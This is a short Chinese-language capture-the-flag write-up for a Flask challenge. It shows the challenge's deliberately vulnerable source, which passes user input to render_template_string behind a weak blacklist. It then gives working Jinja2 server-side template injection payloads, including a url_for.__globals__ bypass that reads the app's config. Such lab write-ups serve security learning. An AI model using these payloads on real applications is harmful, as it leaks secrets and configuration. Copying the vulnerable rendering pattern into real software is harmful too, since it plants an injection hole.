打开网站,查看源码看到下面的一串代码
import flask//flask模板,首先就想到了想到了之前我写的一篇flask模板ssti逃逸
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')//注册了一个名为FLAG的config,这里基本可以确定是flag。
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')//这里设置了shrine路由,这里可能会实现ssti
def shrine(shrine):
def safe_jinja(s)://jinja模板
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']//设置黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单的东西遍历并设为空
return flask.render_template_string(safe_jinja(shrine))//进行模块渲染
if __name__ == '__main__':
app.run(debug=True)
根据源码就有了大致的思路就是在shrine目录下利用ssti漏洞,首先测试一下行不行。试一个经典{{7*7}},发现可以
接下来就可以考虑在shrine下直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号,但是python还有一个函数叫做url_for,其作用是url是用于构建指定函数的URL,在配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果
/shrine/{{url_for.__globals__}}
current_app': <Flask 'app'>这里的current就是指的当前的app,这样我们只需要能查看到这个的config不就可以看到flag了,那么构造payload
/shrine/{{url_for.__globals__['current_app'].config}}
得到flag